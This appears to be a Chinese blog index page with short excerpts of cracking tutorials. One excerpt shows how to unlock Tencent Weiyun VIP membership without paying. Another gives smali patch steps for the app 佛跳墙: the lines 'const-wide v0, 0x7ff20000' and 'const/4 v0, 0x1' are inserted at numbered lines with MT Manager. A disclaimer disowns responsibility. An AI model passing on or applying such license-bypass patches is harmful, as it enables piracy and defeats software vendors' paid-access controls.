  • 破解腾讯微云vip会员教学

    今天给大家带来的是【修改腾讯微云vip会员教学】 不需要开会员 ,自己动手可以安排上会员,请大家收藏上起来,创作教学不容易 ,支持可以点击底部加入交流群 教学为了学习和谈论提供,发生的一切与作者无关,合理应用!! 注意项目:  我们修改以后 ,手机上没有qq才能可以登陆我们修改的应用 方法 :登陆的时候吧QQ卸载掉 或者在虚拟空间打开 就是没有qq的情况下登陆应用 ,不能微信登录 。 ...

    2021-02-16 727
  • 佛跳墙破解教程

    所需工具 ①mt管理器 ②佛跳墙 91行回车两下 把const-wide v0, 0x7ff20000添加到里面 129行回车两下 把const/4 v0, 0x1添加到里面 ...

    2021-02-16 2387
  • QQ群文件安全扫描失败如何下载

    1.收藏 2.在收藏页面下载...

    2021-02-16 853

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注